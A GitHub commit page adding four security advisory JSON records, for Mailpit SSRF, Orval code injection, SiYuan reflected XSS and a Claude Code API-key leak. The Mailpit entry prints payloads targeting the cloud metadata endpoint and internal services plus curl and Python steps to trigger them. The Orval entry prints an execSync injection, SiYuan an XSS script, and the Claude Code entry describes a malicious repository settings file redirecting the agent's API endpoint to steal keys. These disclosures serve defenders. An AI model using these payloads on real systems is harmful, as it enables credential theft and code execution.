Skip to content

Commit 2fab64b

Browse files
1 parent c136d42 commit 2fab64b

4 files changed

Lines changed: 268 additions & 0 deletions

File tree

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6jxm-fv7w-rw5j",
4+
"modified": "2026-01-21T01:01:26Z",
5+
"published": "2026-01-21T01:01:26Z",
6+
"aliases": [
7+
"CVE-2026-23845"
8+
],
9+
"summary": "Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API",
10+
"details": "### Server-Side Request Forgery (SSRF) via HTML Check CSS Download\n\nThe HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel=\"stylesheet\" href=\"...\">` tags to inline them for testing. \n\n\n#### Affected Components\n\n- **Primary File:** `internal/htmlcheck/css.go` (lines 132-207)\n- **API Endpoint:** `/api/v1/message/{ID}/html-check`\n- **Handler:** `server/apiv1/other.go` (lines 38-75)\n- **Vulnerable Functions:**\n - `inlineRemoteCSS()` - line 132\n - `downloadToBytes()` - line 193\n - `isURL()` - line 221\n\n#### Technical Details\n\n**1. Insufficient URL Validation (`isURL()` function):**\n\n```go\n// internal/htmlcheck/css.go:221-224\nfunc isURL(str string) bool {\n u, err := url.Parse(str)\n return err == nil && (u.Scheme == \"http\" || u.Scheme == \"https\") && u.Host != \"\"\n}\n```\n\n\n**2. Unrestricted Download (`downloadToBytes()` function):**\n\n```go\n// internal/htmlcheck/css.go:193-207\nfunc downloadToBytes(url string) ([]byte, error) {\n client := http.Client{\n Timeout: 5 * time.Second,\n }\n\n // Get the link response data\n resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation\n if err != nil {\n return nil, err\n }\n defer func() { _ = resp.Body.Close() }()\n\n if resp.StatusCode != 200 {\n err := fmt.Errorf(\"error downloading %s\", url)\n return nil, err\n }\n\n body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response\n if err != nil {\n return nil, err\n }\n\n return body, nil\n}\n```\n\n**3. Automatic CSS Processing:**\n\n```go\n// internal/htmlcheck/css.go:132-187\nfunc inlineRemoteCSS(h string) (string, error) {\n reader := strings.NewReader(h)\n doc, err := goquery.NewDocumentFromReader(reader)\n if err != nil {\n return h, err\n }\n\n remoteCSS := doc.Find(\"link[rel=\\\"stylesheet\\\"]\").Nodes\n for _, link := range remoteCSS {\n attributes := link.Attr\n for _, a := range attributes {\n if a.Key == \"href\" {\n if !isURL(a.Val) { // ⚠️ Insufficient validation\n continue\n }\n\n if config.BlockRemoteCSSAndFonts {\n logger.Log().Debugf(\"[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)\", a.Val)\n return h, nil\n }\n\n resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL\n if err != nil {\n logger.Log().Warnf(\"[html-check] failed to download %s\", a.Val)\n continue\n }\n\n // Inlines the downloaded CSS\n styleBlock := &html.Node{\n Type: html.ElementNode,\n Data: \"style\",\n DataAtom: atom.Style,\n }\n styleBlock.AppendChild(&html.Node{\n Type: html.TextNode,\n Data: string(resp), // Downloaded content inserted\n })\n link.Parent.AppendChild(styleBlock)\n }\n }\n }\n \n return doc.Html()\n}\n```\n\n\n#### Attack Vectors\n\n**Attack Vector 1: Cloud Metadata Credential Theft**\n\nAttacker sends HTML email with:\n```html\n<!DOCTYPE html>\n<html>\n<head>\n <link rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role\">\n</head>\n<body>Legitimate email content</body>\n</html>\n```\n\nWhen HTML check is triggered:\n1. Mailpit makes GET request to AWS metadata endpoint\n2. Downloads IAM credentials as \"CSS content\"\n3. Credentials logged or potentially leaked via error messages\n\n\n\n#### Proof of Concept\n\nA complete working exploit is provided in `ssrf_htmlcheck_poc.py`.\n\n**PoC Usage:**\n\n```bash\n# Ensure Mailpit is running\n# SMTP: localhost:1025\n# HTTP API: localhost:8025\n\n# Run the exploit\npython3 ssrf_htmlcheck_poc.py\n```\n\n**PoC Workflow:**\n\n1. **Starts SSRF listener** on port 8888 to detect callbacks\n2. **Sends malicious HTML emails** containing:\n ```html\n <link rel=\"stylesheet\" href=\"http://localhost:8888/malicious.css\">\n <link rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\">\n <link rel=\"stylesheet\" href=\"http://127.0.0.1:6379/\">\n ```\n3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check`\n4. **Monitors callbacks** and analyzes responses\n5. **Demonstrates exploitation** of:\n - Local listener (proves SSRF)\n - Cloud metadata endpoints\n - Internal services (Redis, etc.)\n - Private network ranges\n\n**Expected Output:**\n\n```\n╔══════════════════════════════════════════════════════════════════════════════╗\n║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║\n║ Severity: MODERATE ║\n║ File: internal/htmlcheck/css.go:193-207 ║\n╚══════════════════════════════════════════════════════════════════════════════╝\n\n[+] SSRF listener started on port 8888\n[*] Testing SSRF with callback to local listener...\n\n================================================================================\n[*] Testing SSRF with target: http://localhost:8888/malicious.css\n================================================================================\n[+] Email sent with CSS link to: http://localhost:8888/malicious.css\n[+] Message ID: abc123xyz\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check\n[+] HTML check completed (Status: 200)\n\n[SSRF-LISTENER] 127.0.0.1 - \"GET /malicious.css HTTP/1.1\" 200 -\n\n[+] SUCCESS! SSRF confirmed - Received 1 callback(s):\n Path: /malicious.css\n User-Agent: Mailpit/dev\n\n================================================================================\n[*] Testing SSRF against internal/private targets...\n================================================================================\n\n⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection\n\n[+] Email sent with CSS link to: http://127.0.0.1:6379/\n[+] Message ID: def456uvw\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check\n[!] Request timed out - target may be blocking or slow\n```\n\n**Manual Testing:**\n\n```bash\n# 1. Send malicious email\ncat << 'EOF' | python3 - <<SENDMAIL\nimport smtplib\nfrom email.mime.text import MIMEText\n\nhtml = '''\n<!DOCTYPE html>\n<html>\n<head>\n <link rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\">\n</head>\n<body>Test</body>\n</html>\n'''\n\nmsg = MIMEText(html, 'html')\nmsg['Subject'] = 'SSRF Test'\nmsg['From'] = 'test@test.com'\nmsg['To'] = 'victim@test.com'\n\nwith smtplib.SMTP('localhost', 1025) as smtp:\n smtp.send_message(msg)\nSENDMAIL\nEOF\n\n# 2. Get message ID\nMESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')\n\n# 3. Trigger SSRF\ncurl -v \"http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check\"",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/axllent/mailpit"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.28.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23845"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/axllent/mailpit"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-918"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-01-21T01:01:26Z",
67+
"nvd_published_at": "2026-01-19T19:16:04Z"
68+
}
69+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h526-wf6g-67jv",
4+
"modified": "2026-01-21T01:01:13Z",
5+
"published": "2026-01-21T01:01:13Z",
6+
"aliases": [
7+
"CVE-2026-23947"
8+
],
9+
"summary": "Orval has a code injection via unsanitized x-enum-descriptions in enum generation",
10+
"details": "### Impact\nArbitrary code execution in environments consuming generated clients\n\nThis issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.\n\n### Patches\nUpgrade to Orval 8.0.2\n\n### References\nAn example OpenAPI showing the issue:\n\n```yaml\nopenapi: 3.0.4\ninfo:\n title: Enum PoC\n version: \"1.0.0\"\n\npaths:\n /ping:\n get:\n operationId: ping\n responses:\n \"200\":\n description: ok\n content:\n application/json:\n schema:\n $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n schemas:\n EvilEnum:\n type: string\n enum:\n - PWNED\n x-enumDescriptions:\n - \"pwned */ require('child_process').execSync('id'); /*\"\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@orval/core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "8.0.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23947"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/orval-labs/orval/commit/9e5d93533904936678ba93b5d20f6bca176a4e1e"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/orval-labs/orval"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/orval-labs/orval/releases/tag/v8.0.2"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-77"
63+
],
64+
"severity": "CRITICAL",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-01-21T01:01:13Z",
67+
"nvd_published_at": "2026-01-20T01:15:57Z"
68+
}
69+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jh7p-qr78-84p7",
4+
"modified": "2026-01-21T01:00:31Z",
5+
"published": "2026-01-21T01:00:31Z",
6+
"aliases": [
7+
"CVE-2026-21852"
8+
],
9+
"summary": "Claude Code Leaks Data via Malicious Environment Configuration Before Trust Confirmation",
10+
"details": "A vulnerability in Claude Code's project-load flow allowed malicious repositories to exfiltrate data including Anthropic API keys before users confirmed trust. If a user started Claude Code in an attacker-controller repository, and the repository included a settings file that set ANTHROPIC_BASE_URL to an attacker-controlled endpoint, Claude Code would issue API requests before showing the trust prompt, including potentially leaking the user's API keys.\n\nUsers on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@anthropic-ai/claude-code"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.0.65"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-jh7p-qr78-84p7"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/anthropics/claude-code"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-522"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-01-21T01:00:31Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w836-5gpm-7r93",
4+
"modified": "2026-01-21T01:00:44Z",
5+
"published": "2026-01-21T01:00:44Z",
6+
"aliases": [
7+
"CVE-2026-23847"
8+
],
9+
"summary": "SiYuan has a Reflected Cross-Site Scripting (XSS) via /api/icon/getDynamicIcon",
10+
"details": "### Summary\nReflected XSS in /api/icon/getDynamicIcon due to unsanitized SVG input.\n### Details\nThe endpoint generates SVG images for text icons (type=8). The content query parameter is inserted directly into the SVG <text> tag without XML escaping. Since the response Content-Type is image/svg+xml, injecting unescaped tags allows breaking the XML structure and executing JavaScript.\n\n### PoC\nPayload: `test</text><script>alert(window.origin)</script><text>`\n\n1. Open any note and click Change Icon -> Dynamic (Text).\n<img width=\"713\" height=\"373\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8a4f5ec4-81d6-46cb-8872-841cb2188ed8\" />\n\n2. Change color and paste the payload into the Custom field and click on this icon.\n<img width=\"935\" height=\"682\" alt=\"image\" src=\"https://github.com/user-attachments/assets/24d28fbd-a3ce-44f1-a5bb-2cc3f711faf5\" />\n\n3. Intercept and send the request or get path from devtools \n<img width=\"1229\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3cfb1d9a-5a23-476c-86cc-f9a7de6bbe32\" />\n<img width=\"1140\" height=\"764\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2657e44f-3724-4136-a53f-75068945aef0\" />\n\n4. The JavaScript payload executes afted open URL.\n<img width=\"701\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/343ad67a-e236-466b-9ec9-e4f1dea4fd5e\" />\n<img width=\"1382\" height=\"847\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01820d3c-c374-402a-8d72-6ea75dbd92c2\" />\n\n### Impact\nArbitrary JavaScript execution in the user's session context if the SVG is loaded directly. It also prevents using legitimate characters like < or > in icon text.\n\n### Note\nTested version:\n<img width=\"1368\" height=\"699\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a7466b8f-a88b-461d-8d9e-7178af7ab076\" />",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"
15+
},
16+
{
17+
"type": "CVSS_V4",
18+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P"
19+
}
20+
],
21+
"affected": [
22+
{
23+
"package": {
24+
"ecosystem": "Go",
25+
"name": "github.com/siyuan-note/siyuan/kernel"
26+
},
27+
"ranges": [
28+
{
29+
"type": "ECOSYSTEM",
30+
"events": [
31+
{
32+
"introduced": "0"
33+
},
34+
{
35+
"fixed": "0.0.0-20260118021606-5c0cc375b475"
36+
}
37+
]
38+
}
39+
]
40+
}
41+
],
42+
"references": [
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w836-5gpm-7r93"
46+
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23847"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/siyuan-note/siyuan/issues/16844"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/siyuan-note/siyuan/commit/5c0cc375b47567e15edd2119066b09bb0aa18777"
58+
},
59+
{
60+
"type": "PACKAGE",
61+
"url": "https://github.com/siyuan-note/siyuan"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-79"
67+
],
68+
"severity": "LOW",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-01-21T01:00:44Z",
71+
"nvd_published_at": "2026-01-19T20:15:49Z"
72+
}
73+
}

0 commit comments

Comments
 (0)